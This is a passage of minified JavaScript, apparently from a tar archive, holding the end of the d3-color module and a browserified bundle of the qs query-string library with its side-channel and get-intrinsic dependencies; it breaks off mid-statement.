t=(this.l+16)/116,e=isNaN(this.a)?t:t+this.a/500,n=isNaN(this.b)?t:t-this.b/200;return new N(F(3.1338561*(e=j*D(e))-1.6168667*(t=I*D(t))-.4906146*(n=P*D(n))),F(-.9787684*e+1.9161415*t+.033454*n),F(.0719453*e-.2289914*t+1.4052427*n),this.opacity)}})),e(K,J,n(i,{brighter:function(t){return new K(this.h,this.c,this.l+18*(null==t?1:t),this.opacity)},darker:function(t){return new K(this.h,this.c,this.l-18*(null==t?1:t),this.opacity)},rgb:function(){return C(this).rgb()}}));var Q=-.14861,T=1.78277,U=-.29227,V=-.90649,W=1.97294,X=W*V,Y=W*T,Z=T*U-V*Q;function tt(t,e,n,i){return 1===arguments.length?function(t){if(t instanceof et)return new et(t.h,t.s,t.l,t.opacity);t instanceof N||(t=m(t));var e=t.r/255,n=t.g/255,i=t.b/255,r=(Z*i+X*e-Y*n)/(Z+X-Y),a=i-r,h=(W*(n-r)-U*a)/V,s=Math.sqrt(h*h+a*a)/(W*r*(1-r)),o=s?Math.atan2(h,a)*R-120:NaN;return new et(o<0?o+360:o,s,r,t.opacity)}(t):new et(t,e,n,null==i?1:i)}function et(t,e,n,i){this.h=+t,this.s=+e,this.l=+n,this.opacity=+i}e(et,tt,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new et(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new et(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=isNaN(this.h)?0:(this.h+120)*$,e=+this.l,n=isNaN(this.s)?0:this.s*e*(1-e),i=Math.cos(t),r=Math.sin(t);return new N(255*(e+n*(Q*i+T*r)),255*(e+n*(U*i+V*r)),255*(e+n*(W*i)),this.opacity)}})),t.color=b,t.rgb=k,t.hsl=x,t.lab=L,t.hcl=J,t.lch=function(t,e,n,i){return 1===arguments.length?H(t):new K(n,e,t,null==i?1:i)},t.gray=function(t,e){return new A(t,0,0,null==e?1:e)},t.cubehelix=tt,Object.defineProperty(t,"__esModule",{value:!0})}); qs.js000064400000132277151677301600005547 0ustar00(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.Qs = f()}})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){ "use strict";var replace=String.prototype.replace,percentTwenties=/%20/g,Format={RFC1738:"RFC1738",RFC3986:"RFC3986"};module.exports={default:Format.RFC3986,formatters:{RFC1738:function(e){return replace.call(e,percentTwenties,"+")},RFC3986:function(e){return String(e)}},RFC1738:Format.RFC1738,RFC3986:Format.RFC3986}; },{}],2:[function(require,module,exports){ "use strict";var stringify=require(4),parse=require(3),formats=require(1);module.exports={formats:formats,parse:parse,stringify:stringify}; },{"1":1,"3":3,"4":4}],3:[function(require,module,exports){ "use strict";var utils=require(5),has=Object.prototype.hasOwnProperty,isArray=Array.isArray,defaults={allowDots:!1,allowEmptyArrays:!1,allowPrototypes:!1,allowSparse:!1,arrayLimit:20,charset:"utf-8",charsetSentinel:!1,comma:!1,decodeDotInKeys:!1,decoder:utils.decode,delimiter:"&",depth:5,duplicates:"combine",ignoreQueryPrefix:!1,interpretNumericEntities:!1,parameterLimit:1e3,parseArrays:!0,plainObjects:!1,strictNullHandling:!1},interpretNumericEntities=function(e){return e.replace(/&#(\d+);/g,(function(e,t){return String.fromCharCode(parseInt(t,10))}))},parseArrayValue=function(e,t){return e&&"string"==typeof e&&t.comma&&e.indexOf(",")>-1?e.split(","):e},isoSentinel="utf8=%26%2310003%3B",charsetSentinel="utf8=%E2%9C%93",parseValues=function parseQueryStringValues(e,t){var r,a={__proto__:null},o=t.ignoreQueryPrefix?e.replace(/^\?/,""):e,i=t.parameterLimit===1/0?void 0:t.parameterLimit,l=o.split(t.delimiter,i),s=-1,n=t.charset;if(t.charsetSentinel)for(r=0;r<l.length;++r)0===l[r].indexOf("utf8=")&&(l[r]===charsetSentinel?n="utf-8":l[r]===isoSentinel&&(n="iso-8859-1"),s=r,r=l.length);for(r=0;r<l.length;++r)if(r!==s){var p,c,d=l[r],u=d.indexOf("]="),y=-1===u?d.indexOf("="):u+1;-1===y?(p=t.decoder(d,defaults.decoder,n,"key"),c=t.strictNullHandling?null:""):(p=t.decoder(d.slice(0,y),defaults.decoder,n,"key"),c=utils.maybeMap(parseArrayValue(d.slice(y+1),t),(function(e){return t.decoder(e,defaults.decoder,n,"value")}))),c&&t.interpretNumericEntities&&"iso-8859-1"===n&&(c=interpretNumericEntities(c)),d.indexOf("[]=")>-1&&(c=isArray(c)?[c]:c);var f=has.call(a,p);f&&"combine"===t.duplicates?a[p]=utils.combine(a[p],c):f&&"last"!==t.duplicates||(a[p]=c)}return a},parseObject=function(e,t,r,a){for(var o=a?t:parseArrayValue(t,r),i=e.length-1;i>=0;--i){var l,s=e[i];if("[]"===s&&r.parseArrays)l=r.allowEmptyArrays&&""===o?[]:[].concat(o);else{l=r.plainObjects?Object.create(null):{};var n="["===s.charAt(0)&&"]"===s.charAt(s.length-1)?s.slice(1,-1):s,p=r.decodeDotInKeys?n.replace(/%2E/g,"."):n,c=parseInt(p,10);r.parseArrays||""!==p?!isNaN(c)&&s!==p&&String(c)===p&&c>=0&&r.parseArrays&&c<=r.arrayLimit?(l=[])[c]=o:"__proto__"!==p&&(l[p]=o):l={0:o}}o=l}return o},parseKeys=function parseQueryStringKeys(e,t,r,a){if(e){var o=r.allowDots?e.replace(/\.([^.[]+)/g,"[$1]"):e,i=/(\[[^[\]]*])/g,l=r.depth>0&&/(\[[^[\]]*])/.exec(o),s=l?o.slice(0,l.index):o,n=[];if(s){if(!r.plainObjects&&has.call(Object.prototype,s)&&!r.allowPrototypes)return;n.push(s)}for(var p=0;r.depth>0&&null!==(l=i.exec(o))&&p<r.depth;){if(p+=1,!r.plainObjects&&has.call(Object.prototype,l[1].slice(1,-1))&&!r.allowPrototypes)return;n.push(l[1])}return l&&n.push("["+o.slice(l.index)+"]"),parseObject(n,t,r,a)}},normalizeParseOptions=function normalizeParseOptions(e){if(!e)return defaults;if(void 0!==e.allowEmptyArrays&&"boolean"!=typeof e.allowEmptyArrays)throw new TypeError("`allowEmptyArrays` option can only be `true` or `false`, when provided");if(void 0!==e.decodeDotInKeys&&"boolean"!=typeof e.decodeDotInKeys)throw new TypeError("`decodeDotInKeys` option can only be `true` or `false`, when provided");if(null!==e.decoder&&void 0!==e.decoder&&"function"!=typeof e.decoder)throw new TypeError("Decoder has to be a function.");if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var t=void 0===e.charset?defaults.charset:e.charset,r=void 0===e.duplicates?defaults.duplicates:e.duplicates;if("combine"!==r&&"first"!==r&&"last"!==r)throw new TypeError("The duplicates option must be either combine, first, or last");return{allowDots:void 0===e.allowDots?!0===e.decodeDotInKeys||defaults.allowDots:!!e.allowDots,allowEmptyArrays:"boolean"==typeof e.allowEmptyArrays?!!e.allowEmptyArrays:defaults.allowEmptyArrays,allowPrototypes:"boolean"==typeof e.allowPrototypes?e.allowPrototypes:defaults.allowPrototypes,allowSparse:"boolean"==typeof e.allowSparse?e.allowSparse:defaults.allowSparse,arrayLimit:"number"==typeof e.arrayLimit?e.arrayLimit:defaults.arrayLimit,charset:t,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:defaults.charsetSentinel,comma:"boolean"==typeof e.comma?e.comma:defaults.comma,decodeDotInKeys:"boolean"==typeof e.decodeDotInKeys?e.decodeDotInKeys:defaults.decodeDotInKeys,decoder:"function"==typeof e.decoder?e.decoder:defaults.decoder,delimiter:"string"==typeof e.delimiter||utils.isRegExp(e.delimiter)?e.delimiter:defaults.delimiter,depth:"number"==typeof e.depth||!1===e.depth?+e.depth:defaults.depth,duplicates:r,ignoreQueryPrefix:!0===e.ignoreQueryPrefix,interpretNumericEntities:"boolean"==typeof e.interpretNumericEntities?e.interpretNumericEntities:defaults.interpretNumericEntities,parameterLimit:"number"==typeof e.parameterLimit?e.parameterLimit:defaults.parameterLimit,parseArrays:!1!==e.parseArrays,plainObjects:"boolean"==typeof e.plainObjects?e.plainObjects:defaults.plainObjects,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:defaults.strictNullHandling}};module.exports=function(e,t){var r=normalizeParseOptions(t);if(""===e||null==e)return r.plainObjects?Object.create(null):{};for(var a="string"==typeof e?parseValues(e,r):e,o=r.plainObjects?Object.create(null):{},i=Object.keys(a),l=0;l<i.length;++l){var s=i[l],n=parseKeys(s,a[s],r,"string"==typeof e);o=utils.merge(o,n,r)}return!0===r.allowSparse?o:utils.compact(o)}; },{"5":5}],4:[function(require,module,exports){ "use strict";var getSideChannel=require(29),utils=require(5),formats=require(1),has=Object.prototype.hasOwnProperty,arrayPrefixGenerators={brackets:function brackets(e){return e+"[]"},comma:"comma",indices:function indices(e,r){return e+"["+r+"]"},repeat:function repeat(e){return e}},isArray=Array.isArray,push=Array.prototype.push,pushToArray=function(e,r){push.apply(e,isArray(r)?r:[r])},toISO=Date.prototype.toISOString,defaultFormat=formats.default,defaults={addQueryPrefix:!1,allowDots:!1,allowEmptyArrays:!1,arrayFormat:"indices",charset:"utf-8",charsetSentinel:!1,delimiter:"&",encode:!0,encodeDotInKeys:!1,encoder:utils.encode,encodeValuesOnly:!1,format:defaultFormat,formatter:formats.formatters[defaultFormat],indices:!1,serializeDate:function serializeDate(e){return toISO.call(e)},skipNulls:!1,strictNullHandling:!1},isNonNullishPrimitive=function isNonNullishPrimitive(e){return"string"==typeof e||"number"==typeof e||"boolean"==typeof e||"symbol"==typeof e||"bigint"==typeof e},sentinel={},stringify=function stringify(e,r,t,o,a,n,i,l,s,f,u,d,y,c,p,m,h,v){for(var w=e,b=v,g=0,A=!1;void 0!==(b=b.get(sentinel))&&!A;){var D=b.get(e);if(g+=1,void 0!==D){if(D===g)throw new RangeError("Cyclic object value");A=!0}void 0===b.get(sentinel)&&(g=0)}if("function"==typeof f?w=f(r,w):w instanceof Date?w=y(w):"comma"===t&&isArray(w)&&(w=utils.maybeMap(w,(function(e){return e instanceof Date?y(e):e}))),null===w){if(n)return s&&!m?s(r,defaults.encoder,h,"key",c):r;w=""}if(isNonNullishPrimitive(w)||utils.isBuffer(w))return s?[p(m?r:s(r,defaults.encoder,h,"key",c))+"="+p(s(w,defaults.encoder,h,"value",c))]:[p(r)+"="+p(String(w))];var E,N=[];if(void 0===w)return N;if("comma"===t&&isArray(w))m&&s&&(w=utils.maybeMap(w,s)),E=[{value:w.length>0?w.join(",")||null:void 0}];else if(isArray(f))E=f;else{var S=Object.keys(w);E=u?S.sort(u):S}var O=l?r.replace(/\./g,"%2E"):r,T=o&&isArray(w)&&1===w.length?O+"[]":O;if(a&&isArray(w)&&0===w.length)return T+"[]";for(var k=0;k<E.length;++k){var I=E[k],P="object"==typeof I&&void 0!==I.value?I.value:w[I];if(!i||null!==P){var x=d&&l?I.replace(/\./g,"%2E"):I,z=isArray(w)?"function"==typeof t?t(T,x):T:T+(d?"."+x:"["+x+"]");v.set(e,g);var K=getSideChannel();K.set(sentinel,v),pushToArray(N,stringify(P,z,t,o,a,n,i,l,"comma"===t&&m&&isArray(w)?null:s,f,u,d,y,c,p,m,h,K))}}return N},normalizeStringifyOptions=function normalizeStringifyOptions(e){if(!e)return defaults;if(void 0!==e.allowEmptyArrays&&"boolean"!=typeof e.allowEmptyArrays)throw new TypeError("`allowEmptyArrays` option can only be `true` or `false`, when provided");if(void 0!==e.encodeDotInKeys&&"boolean"!=typeof e.encodeDotInKeys)throw new TypeError("`encodeDotInKeys` option can only be `true` or `false`, when provided");if(null!==e.encoder&&void 0!==e.encoder&&"function"!=typeof e.encoder)throw new TypeError("Encoder has to be a function.");var r=e.charset||defaults.charset;if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var t=formats.default;if(void 0!==e.format){if(!has.call(formats.formatters,e.format))throw new TypeError("Unknown format option provided.");t=e.format}var o,a=formats.formatters[t],n=defaults.filter;if(("function"==typeof e.filter||isArray(e.filter))&&(n=e.filter),o=e.arrayFormat in arrayPrefixGenerators?e.arrayFormat:"indices"in e?e.indices?"indices":"repeat":defaults.arrayFormat,"commaRoundTrip"in e&&"boolean"!=typeof e.commaRoundTrip)throw new TypeError("`commaRoundTrip` must be a boolean, or absent");var i=void 0===e.allowDots?!0===e.encodeDotInKeys||defaults.allowDots:!!e.allowDots;return{addQueryPrefix:"boolean"==typeof e.addQueryPrefix?e.addQueryPrefix:defaults.addQueryPrefix,allowDots:i,allowEmptyArrays:"boolean"==typeof e.allowEmptyArrays?!!e.allowEmptyArrays:defaults.allowEmptyArrays,arrayFormat:o,charset:r,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:defaults.charsetSentinel,commaRoundTrip:e.commaRoundTrip,delimiter:void 0===e.delimiter?defaults.delimiter:e.delimiter,encode:"boolean"==typeof e.encode?e.encode:defaults.encode,encodeDotInKeys:"boolean"==typeof e.encodeDotInKeys?e.encodeDotInKeys:defaults.encodeDotInKeys,encoder:"function"==typeof e.encoder?e.encoder:defaults.encoder,encodeValuesOnly:"boolean"==typeof e.encodeValuesOnly?e.encodeValuesOnly:defaults.encodeValuesOnly,filter:n,format:t,formatter:a,serializeDate:"function"==typeof e.serializeDate?e.serializeDate:defaults.serializeDate,skipNulls:"boolean"==typeof e.skipNulls?e.skipNulls:defaults.skipNulls,sort:"function"==typeof e.sort?e.sort:null,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:defaults.strictNullHandling}};module.exports=function(e,r){var t,o=e,a=normalizeStringifyOptions(r);"function"==typeof a.filter?o=(0,a.filter)("",o):isArray(a.filter)&&(t=a.filter);var n=[];if("object"!=typeof o||null===o)return"";var i=arrayPrefixGenerators[a.arrayFormat],l="comma"===i&&a.commaRoundTrip;t||(t=Object.keys(o)),a.sort&&t.sort(a.sort);for(var s=getSideChannel(),f=0;f<t.length;++f){var u=t[f];a.skipNulls&&null===o[u]||pushToArray(n,stringify(o[u],u,i,l,a.allowEmptyArrays,a.strictNullHandling,a.skipNulls,a.encodeDotInKeys,a.encode?a.encoder:null,a.filter,a.sort,a.allowDots,a.serializeDate,a.format,a.formatter,a.encodeValuesOnly,a.charset,s))}var d=n.join(a.delimiter),y=!0===a.addQueryPrefix?"?":"";return a.charsetSentinel&&("iso-8859-1"===a.charset?y+="utf8=%26%2310003%3B&":y+="utf8=%E2%9C%93&"),d.length>0?y+d:""}; },{"1":1,"29":29,"5":5}],5:[function(require,module,exports){ "use strict";var formats=require(1),has=Object.prototype.hasOwnProperty,isArray=Array.isArray,hexTable=function(){for(var e=[],r=0;r<256;++r)e.push("%"+((r<16?"0":"")+r.toString(16)).toUpperCase());return e}(),compactQueue=function compactQueue(e){for(;e.length>1;){var r=e.pop(),t=r.obj[r.prop];if(isArray(t)){for(var o=[],n=0;n<t.length;++n)void 0!==t[n]&&o.push(t[n]);r.obj[r.prop]=o}}},arrayToObject=function arrayToObject(e,r){for(var t=r&&r.plainObjects?Object.create(null):{},o=0;o<e.length;++o)void 0!==e[o]&&(t[o]=e[o]);return t},merge=function merge(e,r,t){if(!r)return e;if("object"!=typeof r){if(isArray(e))e.push(r);else{if(!e||"object"!=typeof e)return[e,r];(t&&(t.plainObjects||t.allowPrototypes)||!has.call(Object.prototype,r))&&(e[r]=!0)}return e}if(!e||"object"!=typeof e)return[e].concat(r);var o=e;return isArray(e)&&!isArray(r)&&(o=arrayToObject(e,t)),isArray(e)&&isArray(r)?(r.forEach((function(r,o){if(has.call(e,o)){var n=e[o];n&&"object"==typeof n&&r&&"object"==typeof r?e[o]=merge(n,r,t):e.push(r)}else e[o]=r})),e):Object.keys(r).reduce((function(e,o){var n=r[o];return has.call(e,o)?e[o]=merge(e[o],n,t):e[o]=n,e}),o)},assign=function assignSingleSource(e,r){return Object.keys(r).reduce((function(e,t){return e[t]=r[t],e}),e)},decode=function(e,r,t){var o=e.replace(/\+/g," ");if("iso-8859-1"===t)return o.replace(/%[0-9a-f]{2}/gi,unescape);try{return decodeURIComponent(o)}catch(e){return o}},limit=1024,encode=function encode(e,r,t,o,n){if(0===e.length)return e;var a=e;if("symbol"==typeof e?a=Symbol.prototype.toString.call(e):"string"!=typeof e&&(a=String(e)),"iso-8859-1"===t)return escape(a).replace(/%u[0-9a-f]{4}/gi,(function(e){return"%26%23"+parseInt(e.slice(2),16)+"%3B"}));for(var c="",i=0;i<a.length;i+=limit){for(var u=a.length>=limit?a.slice(i,i+limit):a,p=[],s=0;s<u.length;++s){var f=u.charCodeAt(s);45===f||46===f||95===f||126===f||f>=48&&f<=57||f>=65&&f<=90||f>=97&&f<=122||n===formats.RFC1738&&(40===f||41===f)?p[p.length]=u.charAt(s):f<128?p[p.length]=hexTable[f]:f<2048?p[p.length]=hexTable[192|f>>6]+hexTable[128|63&f]:f<55296||f>=57344?p[p.length]=hexTable[224|f>>12]+hexTable[128|f>>6&63]+hexTable[128|63&f]:(s+=1,f=65536+((1023&f)<<10|1023&u.charCodeAt(s)),p[p.length]=hexTable[240|f>>18]+hexTable[128|f>>12&63]+hexTable[128|f>>6&63]+hexTable[128|63&f])}c+=p.join("")}return c},compact=function compact(e){for(var r=[{obj:{o:e},prop:"o"}],t=[],o=0;o<r.length;++o)for(var n=r[o],a=n.obj[n.prop],c=Object.keys(a),i=0;i<c.length;++i){var u=c[i],p=a[u];"object"==typeof p&&null!==p&&-1===t.indexOf(p)&&(r.push({obj:a,prop:u}),t.push(p))}return compactQueue(r),e},isRegExp=function isRegExp(e){return"[object RegExp]"===Object.prototype.toString.call(e)},isBuffer=function isBuffer(e){return!(!e||"object"!=typeof e||!(e.constructor&&e.constructor.isBuffer&&e.constructor.isBuffer(e)))},combine=function combine(e,r){return[].concat(e,r)},maybeMap=function maybeMap(e,r){if(isArray(e)){for(var t=[],o=0;o<e.length;o+=1)t.push(r(e[o]));return t}return r(e)};module.exports={/* common-shake removed: arrayToObject:arrayToObject *//* common-shake removed: assign:assign */combine:combine,compact:compact,decode:decode,encode:encode,isBuffer:isBuffer,isRegExp:isRegExp,maybeMap:maybeMap,merge:merge}; },{"1":1}],29:[function(require,module,exports){ "use strict";var GetIntrinsic=require(20),callBound=require(7),inspect=require(27),$TypeError=require(16),$WeakMap=GetIntrinsic("%WeakMap%",!0),$Map=GetIntrinsic("%Map%",!0),$weakMapGet=callBound("WeakMap.prototype.get",!0),$weakMapSet=callBound("WeakMap.prototype.set",!0),$weakMapHas=callBound("WeakMap.prototype.has",!0),$mapGet=callBound("Map.prototype.get",!0),$mapSet=callBound("Map.prototype.set",!0),$mapHas=callBound("Map.prototype.has",!0),listGetNode=function(e,t){for(var n,a=e;null!==(n=a.next);a=n)if(n.key===t)return a.next=n.next,n.next=e.next,e.next=n,n},listGet=function(e,t){var n=listGetNode(e,t);return n&&n.value},listSet=function(e,t,n){var a=listGetNode(e,t);a?a.value=n:e.next={key:t,next:e.next,value:n}},listHas=function(e,t){return!!listGetNode(e,t)};module.exports=function getSideChannel(){var e,t,n,a={assert:function(e){if(!a.has(e))throw new $TypeError("Side channel does not contain "+inspect(e))},get:function(a){if($WeakMap&&a&&("object"==typeof a||"function"==typeof a)){if(e)return $weakMapGet(e,a)}else if($Map){if(t)return $mapGet(t,a)}else if(n)return listGet(n,a)},has:function(a){if($WeakMap&&a&&("object"==typeof a||"function"==typeof a)){if(e)return $weakMapHas(e,a)}else if($Map){if(t)return $mapHas(t,a)}else if(n)return listHas(n,a);return!1},set:function(a,r){$WeakMap&&a&&("object"==typeof a||"function"==typeof a)?(e||(e=new $WeakMap),$weakMapSet(e,a,r)):$Map?(t||(t=new $Map),$mapSet(t,a,r)):(n||(n={key:{},next:null}),listSet(n,a,r))}};return a}; },{"16":16,"20":20,"27":27,"7":7}],6:[function(require,module,exports){ },{}],7:[function(require,module,exports){ "use strict";var GetIntrinsic=require(20),callBind=require(8),$indexOf=callBind(GetIntrinsic("String.prototype.indexOf"));module.exports=function callBoundIntrinsic(i,n){var t=GetIntrinsic(i,!!n);return"function"==typeof t&&$indexOf(i,".prototype.")>-1?callBind(t):t}; },{"20":20,"8":8}],20:[function(require,module,exports){ "use strict";var undefined,$Error=require(12),$EvalError=require(11),$RangeError=require(13),$ReferenceError=require(14),$SyntaxError=require(15),$TypeError=require(16),$URIError=require(17),$Function=Function,getEvalledConstructor=function(r){try{return $Function('"use strict"; return ('+r+").constructor;")()}catch(r){}},$gOPD=Object.getOwnPropertyDescriptor;if($gOPD)try{$gOPD({},"")}catch(r){$gOPD=null}var throwTypeError=function(){throw new $TypeError},ThrowTypeError=$gOPD?function(){try{return throwTypeError}catch(r){try{return $gOPD(arguments,"callee").get}catch(r){return throwTypeError}}}():throwTypeError,hasSymbols=require(24)(),hasProto=require(23)(),getProto=Object.getPrototypeOf||(hasProto?function(r){return r.__proto__}:null),needsEval={},TypedArray="undefined"!=typeof Uint8Array&&getProto?getProto(Uint8Array):undefined,INTRINSICS={__proto__:null,"%AggregateError%":"undefined"==typeof AggregateError?undefined:AggregateError,"%Array%":Array,"%ArrayBuffer%":"undefined"==typeof ArrayBuffer?undefined:ArrayBuffer,"%ArrayIteratorPrototype%":hasSymbols&&getProto?getProto([][Symbol.iterator]()):undefined,"%AsyncFromSyncIteratorPrototype%":undefined,"%AsyncFunction%":needsEval,"%AsyncGenerator%":needsEval,"%AsyncGeneratorFunction%":needsEval,"%AsyncIteratorPrototype%":needsEval,"%Atomics%":"undefined"==typeof Atomics?undefined:Atomics,"%BigInt%":"undefined"==typeof BigInt?undefined:BigInt,"%BigInt64Array%":"undefined"==typeof BigInt64Array?undefined:BigInt64Array,"%BigUint64Array%":"undefined"==typeof BigUint64Array?undefined:BigUint64Array,"%Boolean%":Boolean,"%DataView%":"undefined"==typeof DataView?undefined:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":$Error,"%eval%":eval,"%EvalError%":$EvalError,"%Float32Array%":"undefined"==typeof Float32Array?undefined:Float32Array,"%Float64Array%":"undefined"==typeof Float64Array?undefined:Float64Array,"%FinalizationRegistry%":"undefined"==typeof FinalizationRegistry?undefined:FinalizationRegistry,"%Function%":$Function,"%GeneratorFunction%":needsEval,"%Int8Array%":"undefined"==typeof Int8Array?undefined:Int8Array,"%Int16Array%":"undefined"==typeof Int16Array?undefined:Int16Array,"%Int32Array%":"undefined"==typeof Int32Array?undefined:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":hasSymbols&&getProto?getProto(getProto([][Symbol.iterator]())):undefined,"%JSON%":"object"==typeof JSON?JSON:undefined,"%Map%":"undefined"==typeof Map?undefined:Map,"%MapIteratorPrototype%":"undefined"!=typeof Map&&hasSymbols&&getProto?getProto((new Map)[Symbol.iterator]()):undefined,"%Math%":Math,"%Number%":Number,"%Object%":Object,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":"undefined"==typeof Promise?undefined:Promise,"%Proxy%":"undefined"==typeof Proxy?undefined:Proxy,"%RangeError%":$RangeError,"%ReferenceError%":$ReferenceError,"%Reflect%":"undefined"==typeof Reflect?undefined:Reflect,"%RegExp%":RegExp,"%Set%":"undefined"==typeof Set?undefined:Set,"%SetIteratorPrototype%":"undefined"!=typeof Set&&hasSymbols&&getProto?getProto((new Set)[Symbol.iterator]()):undefined,"%SharedArrayBuffer%":"undefined"==typeof SharedArrayBuffer?undefined:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":hasSymbols&&getProto?getProto(""[Symbol.iterator]()):undefined,"%Symbol%":hasSymbols?Symbol:undefined,"%SyntaxError%":$SyntaxError,"%ThrowTypeError%":ThrowTypeError,"%TypedArray%":TypedArray,"%TypeError%":$TypeError,"%Uint8Array%":"undefined"==typeof Uint8Array?undefined:Uint8Array,"%Uint8ClampedArray%":"undefined"==typeof Uint8ClampedArray?undefined:Uint8ClampedArray,"%Uint16Array%":"undefined"==typeof Uint16Array?undefined:Uint16Array,"%Uint32Array%":"undefined"==typeof Uint32Array?undefined:Uint32Array,"%URIError%":$URIError,"%WeakMap%":"undefined"==typeof WeakMap?undefined:WeakMap,"%WeakRef%":"undefined"==typeof WeakRef?undefined:WeakRef,"%WeakSet%":"undefined"==typeof WeakSet?undefined:WeakSet};if(getProto)try{null.error}catch(r){var errorProto=getProto(getProto(r));INTRINSICS["%Error.prototype%"]=errorProto}var doEval=function doEval(r){var e;if("%AsyncFunction%"===r)e=getEvalledConstructor("async function () {}");else if("%GeneratorFunction%"===r)e=getEvalledConstructor("function* () {}");else if("%AsyncGeneratorFunction%"===r)e=getEvalledConstructor("async function* () {}");else if("%AsyncGenerator%"===r){var t=doEval("%AsyncGeneratorFunction%");t&&(e=t.prototype)}else if("%AsyncIteratorPrototype%"===r){var o=doEval("%AsyncGenerator%");o&&getProto&&(e=getProto(o.prototype))}return INTRINSICS[r]=e,e},LEGACY_ALIASES={__proto__:null,"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},bind=require(19),hasOwn=require(26),$concat=bind.call(Function.call,Array.prototype.concat),$spliceApply=bind.call(Function.apply,Array.prototype.splice),$replace=bind.call(Function.call,String.prototype.replace),$strSlice=bind.call(Function.call,String.prototype.slice),$exec=bind.call(Function.call,RegExp.prototype.exec),rePropName=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,reEscapeChar=/\\(\\)?/g,stringToPath=function stringToPath(r){var e=$strSlice(r,0,1),t=$strSlice(r,-1);if("%"===e&&"%"!==t)throw new $SyntaxError("invalid intrinsic syntax, expected closing `%`");if("%"===t&&"%"!==e)throw new $SyntaxError("invalid intrinsic syntax, expected opening `%`");var o=[];return $replace(r,rePropName,(function(r,e,t,n){o[o.length]=t?$replace(n,reEscapeChar,"$1"):e||r})),o},getBaseIntrinsic=function getBaseIntrinsic(r,e){var t,o=r;if(hasOwn(LEGACY_ALIASES,o)&&(o="%"+(t=LEGACY_ALIASES[o])[0]+"%"),hasOwn(INTRINSICS,o)){var n=INTRINSICS[o];if(n===needsEval&&(n=doEval(o)),void 0===n&&!e)throw new $TypeError("intrinsic "+r+" exists, but is not available. Please file an issue!");return{alias:t,name:o,value:n}}throw new $SyntaxError("intrinsic "+r+" does not exist!")};module.exports=function 